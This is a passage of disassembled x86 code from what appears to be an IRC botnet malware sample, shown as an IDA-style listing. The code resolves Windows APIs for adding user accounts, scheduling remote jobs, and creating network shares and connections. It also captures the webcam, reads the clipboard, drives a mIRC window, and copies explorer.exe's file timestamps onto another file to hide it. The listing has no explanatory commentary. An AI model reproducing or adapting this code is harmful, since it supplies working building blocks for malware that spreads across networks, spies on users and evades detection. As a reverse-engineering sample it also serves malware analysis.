		mov	dword_43A488, 1

loc_409332:				; CODE XREF: sub_4089F2+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409428
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43A298, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43A270, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43A2E4, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43A318, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43A428, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43A2D0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43A27C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43A26C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43A300, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43A3F0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A298, ebx
		mov	dword_43A3A8, eax
		jz	short loc_409433
		cmp	dword_43A270, ebx
		jz	short loc_409433
		cmp	dword_43A2E4, ebx
		jz	short loc_409433
		cmp	dword_43A318, ebx
		jz	short loc_409433
		cmp	dword_43A428, ebx
		jz	short loc_409433
		cmp	dword_43A2D0, ebx
		jz	short loc_409433
		cmp	dword_43A27C, ebx
		jz	short loc_409433
		cmp	dword_43A26C, ebx
		jz	short loc_409433
		cmp	dword_43A300, ebx
		jz	short loc_409433
		cmp	dword_43A3F0, ebx
		jz	short loc_409433
		cmp	eax, ebx
		jnz	short loc_40943D
		jmp	short loc_409433
; ---------------------------------------------------------------------------

loc_409428:				; CODE XREF: sub_4089F2+94Bj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A494, eax

loc_409433:				; CODE XREF: sub_4089F2+9E6j
					; sub_4089F2+9EEj ...
		mov	dword_43A490, 1

loc_40943D:				; CODE XREF: sub_4089F2+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409472
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43A2C0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2C0, ebx
		mov	dword_43A390, eax
		jz	short loc_40947D
		cmp	eax, ebx
		jnz	short loc_409487
		jmp	short loc_40947D
; ---------------------------------------------------------------------------

loc_409472:				; CODE XREF: sub_4089F2+A56j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A49C, eax

loc_40947D:				; CODE XREF: sub_4089F2+A78j
					; sub_4089F2+A7Ej
		mov	dword_43A498, 1

loc_409487:				; CODE XREF: sub_4089F2+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094BC
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43A414, eax
		call	esi	; GetProcAddress
		cmp	dword_43A414, ebx
		mov	dword_43A410, eax
		jz	short loc_4094C7
		cmp	eax, ebx
		jnz	short loc_4094D1
		jmp	short loc_4094C7
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_4089F2+AA0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4A4, eax

loc_4094C7:				; CODE XREF: sub_4089F2+AC2j
					; sub_4089F2+AC8j
		mov	dword_43A4A0, 1

loc_4094D1:				; CODE XREF: sub_4089F2+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409530
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43A440, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43A438, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43A400, eax
		call	esi	; GetProcAddress
		cmp	dword_43A440, ebx
		mov	dword_43A2D8, eax
		jz	short loc_40953B
		cmp	dword_43A438, ebx
		jz	short loc_40953B
		cmp	dword_43A400, ebx
		jz	short loc_40953B
		cmp	eax, ebx
		jnz	short loc_409545
		jmp	short loc_40953B
; ---------------------------------------------------------------------------

loc_409530:				; CODE XREF: sub_4089F2+AEAj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4AC, eax

loc_40953B:				; CODE XREF: sub_4089F2+B26j
					; sub_4089F2+B2Ej ...
		mov	dword_43A4A8, 1

loc_409545:				; CODE XREF: sub_4089F2+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40957A
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43A30C, eax
		call	esi	; GetProcAddress
		cmp	dword_43A30C, ebx
		mov	dword_43A40C, eax
		jz	short loc_409585
		cmp	eax, ebx
		jnz	short loc_40958F
		jmp	short loc_409585
; ---------------------------------------------------------------------------

loc_40957A:				; CODE XREF: sub_4089F2+B5Ej
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4B4, eax

loc_409585:				; CODE XREF: sub_4089F2+B80j
					; sub_4089F2+B86j
		mov	dword_43A4B0, 1

loc_40958F:				; CODE XREF: sub_4089F2+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409618
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43A3D4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43A420, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43A35C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43A31C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43A3B4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3D4, ebx
		mov	dword_43A328, eax
		jz	short loc_409623
		cmp	dword_43A420, ebx
		jz	short loc_409623
		cmp	dword_43A35C, ebx
		jz	short loc_409623
		cmp	dword_43A31C, ebx
		jz	short loc_409623
		cmp	dword_43A3B4, ebx
		jz	short loc_409623
		cmp	eax, ebx
		jnz	short loc_40962D
		jmp	short loc_409623
; ---------------------------------------------------------------------------

loc_409618:				; CODE XREF: sub_4089F2+BA8j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4BC, eax

loc_409623:				; CODE XREF: sub_4089F2+BFEj
					; sub_4089F2+C06j ...
		mov	dword_43A4B8, 1

loc_40962D:				; CODE XREF: sub_4089F2+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409662
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43A2F0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2F0, ebx
		mov	dword_43A3C8, eax
		jz	short loc_40966D
		cmp	eax, ebx
		jnz	short loc_409677
		jmp	short loc_40966D
; ---------------------------------------------------------------------------

loc_409662:				; CODE XREF: sub_4089F2+C46j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4C4, eax

loc_40966D:				; CODE XREF: sub_4089F2+C68j
					; sub_4089F2+C6Ej
		mov	dword_43A4C0, 1

loc_409677:				; CODE XREF: sub_4089F2+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40967F	proc near		; CODE XREF: sub_40CE55+51F9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43A458, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096C7
		push	dword_43A45C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4096C7:				; CODE XREF: sub_40967F+1Aj
		cmp	dword_43A460, esi
		jz	short loc_4096FB
		push	dword_43A464
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4096FB:				; CODE XREF: sub_40967F+4Ej
		cmp	dword_43A468, esi
		jz	short loc_40972F
		push	dword_43A46C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40972F:				; CODE XREF: sub_40967F+82j
		cmp	dword_43A470, esi
		jz	short loc_409763
		push	dword_43A474
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409763:				; CODE XREF: sub_40967F+B6j
		cmp	dword_43A478, esi
		jz	short loc_409797
		push	dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409797:				; CODE XREF: sub_40967F+EAj
		cmp	dword_43A480, esi
		jz	short loc_4097CB
		push	dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4097CB:				; CODE XREF: sub_40967F+11Ej
		cmp	dword_43A488, esi
		jz	short loc_4097FF
		push	dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4097FF:				; CODE XREF: sub_40967F+152j
		cmp	dword_43A490, esi
		jz	short loc_409833
		push	dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409833:				; CODE XREF: sub_40967F+186j
		cmp	dword_43A498, esi
		jz	short loc_409867
		push	dword_43A49C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409867:				; CODE XREF: sub_40967F+1BAj
		cmp	dword_43A4A0, esi
		jz	short loc_40989B
		push	dword_43A4A4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40989B:				; CODE XREF: sub_40967F+1EEj
		cmp	dword_43A4A8, esi
		jz	short loc_4098CF
		push	dword_43A4AC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4098CF:				; CODE XREF: sub_40967F+222j
		cmp	dword_43A4B0, esi
		jz	short loc_409903
		push	dword_43A4B4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409903:				; CODE XREF: sub_40967F+256j
		cmp	dword_43A4B8, esi
		jz	short loc_409937
		push	dword_43A4BC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409937:				; CODE XREF: sub_40967F+28Aj
		cmp	dword_43A4C0, esi
		jz	short loc_40996B
		push	dword_43A4C4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40996B:				; CODE XREF: sub_40967F+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_429A0C
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409998
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_409998:				; CODE XREF: sub_40967F+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40967F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099AA	proc near		; CODE XREF: sub_40CE55+C50p
					; sub_40CE55+C84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A35
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A35
		cmp	[ebp+arg_8], esi
		jz	short loc_409A35
		cmp	byte ptr [eax],	0
		jz	short loc_409A35
		push	ebx
		push	edi
		call	sub_41FD7B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A30
		push	[ebp+arg_4]
		push	edi
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A29
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D40
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CF0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416F10
		push	[ebp+arg_4]
		call	sub_415CF0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415C10
		push	ebx
		push	edi
		call	sub_415C00
		add	esp, 30h
		mov	esi, edi

loc_409A29:				; CODE XREF: sub_4099AA+3Cj
		push	ebx
		call	sub_415E3D
		pop	ecx

loc_409A30:				; CODE XREF: sub_4099AA+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A37
; ---------------------------------------------------------------------------

loc_409A35:				; CODE XREF: sub_4099AA+Cj
					; sub_4099AA+13j ...
		xor	eax, eax

loc_409A37:				; CODE XREF: sub_4099AA+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4099AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A3B	proc near		; CODE XREF: sub_40CCDD+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415570
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CF0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A71
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AE4
; ---------------------------------------------------------------------------

loc_409A71:				; CODE XREF: sub_409A3B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A93

loc_409A7D:				; CODE XREF: sub_409A3B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A8A
		cmp	dl, 0Dh
		jnz	short loc_409A8E

loc_409A8A:				; CODE XREF: sub_409A3B+48j
		and	byte ptr [ecx+esi], 0

loc_409A8E:				; CODE XREF: sub_409A3B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A7D

loc_409A93:				; CODE XREF: sub_409A3B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AC4
		lea	edi, [ebp+var_7CC]

loc_409AA0:				; CODE XREF: sub_409A3B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409ABF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409ABF
		cmp	ebx, 1F4h
		jge	short loc_409AC4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_409ABF:				; CODE XREF: sub_409A3B+69j
					; sub_409A3B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409AA0

loc_409AC4:				; CODE XREF: sub_409A3B+5Dj
					; sub_409A3B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AE2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155D0
		add	esp, 0Ch

loc_409AE2:				; CODE XREF: sub_409A3B+8Ej
		mov	eax, ebx

loc_409AE4:				; CODE XREF: sub_409A3B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AE8	proc near		; CODE XREF: sub_409B42+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B21
		push	ebx
		mov	ebx, edi

loc_409B05:				; CODE XREF: sub_409AE8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B24
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409B05
		pop	ebx

loc_409B21:				; CODE XREF: sub_409AE8+18j
		pop	edi
		pop	esi
		retn
sub_409AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B24	proc near		; CODE XREF: sub_409AE8+25p
					; sub_409B42+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417193
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B3F
		cmp	al, 7Ah
		jg	short loc_409B3F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_409B3F:				; CODE XREF: sub_409B24+Ej
					; sub_409B24+12j
		xor	eax, eax
		retn
sub_409B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B42	proc near		; CODE XREF: sub_40B24D+10p
					; sub_40B27F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CF0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409AE8
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_409B80:				; CODE XREF: sub_409B42+B6j
		test	esi, esi
		jle	short loc_409BFE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417193
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF6

loc_409BA6:				; CODE XREF: sub_409B42+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B24
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BC7
		mov	eax, ecx

loc_409BC7:				; CODE XREF: sub_409B42+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BFA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417193
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409BA6

loc_409BF6:				; CODE XREF: sub_409B42+62j
		dec	edi
		dec	esi
		jmp	short loc_409B80
; ---------------------------------------------------------------------------

loc_409BFA:				; CODE XREF: sub_409B42+8Aj
		xor	eax, eax
		jmp	short loc_409C03
; ---------------------------------------------------------------------------

loc_409BFE:				; CODE XREF: sub_409B42+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_409C03:				; CODE XREF: sub_409B42+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C08	proc near		; CODE XREF: sub_40CE55+3B4Ep
					; sub_40CE55+4755p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4210CC	; FormatMessageA
		lea	eax, [ebp+var_100]

loc_409C41:				; CODE XREF: sub_409C08+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409C4D
		cmp	cl, 9
		jnz	short loc_409C50

loc_409C4D:				; CODE XREF: sub_409C08+3Ej
		inc	eax
		jmp	short loc_409C41
; ---------------------------------------------------------------------------

loc_409C50:				; CODE XREF: sub_409C08+43j
					; sub_409C08+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409C6A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409C50
		cmp	cl, 21h
		jl	short loc_409C50

loc_409C6A:				; CODE XREF: sub_409C08+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43A4C8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409C08	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C92	proc near		; CODE XREF: sub_40CE55+5185p
		push	esi
		push	0
		call	dword_43A368	; OpenClipboard
		test	eax, eax
		jz	short loc_409CC9
		push	1
		call	dword_43A388	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CC9
		push	edi
		push	esi
		call	dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4210D0	; GlobalUnlock
		call	dword_43A3EC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_409CC9:				; CODE XREF: sub_409C92+Bj
					; sub_409C92+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CCD	proc near		; CODE XREF: sub_40CE55+4545p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43A3A4	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D49
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4210E0	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4210DC	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43A3F4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43A3F4	; SendMessageA
		push	ebx
		call	dword_4210D8	; UnmapViewOfFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_409D4B
; ---------------------------------------------------------------------------

loc_409D49:				; CODE XREF: sub_409CCD+16j
		xor	eax, eax

loc_409D4B:				; CODE XREF: sub_409CCD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409CCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D4F	proc near		; CODE XREF: sub_40C682+21Cp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43A454	; SearchPathA
		test	eax, eax
		jz	short loc_409DEE
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4210E8	; GetFileTime
		push	ebx
		mov	ebx, dword_42106C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4210E4	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_409DEE:				; CODE XREF: sub_409D4F+2Aj
					; sub_409D4F+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
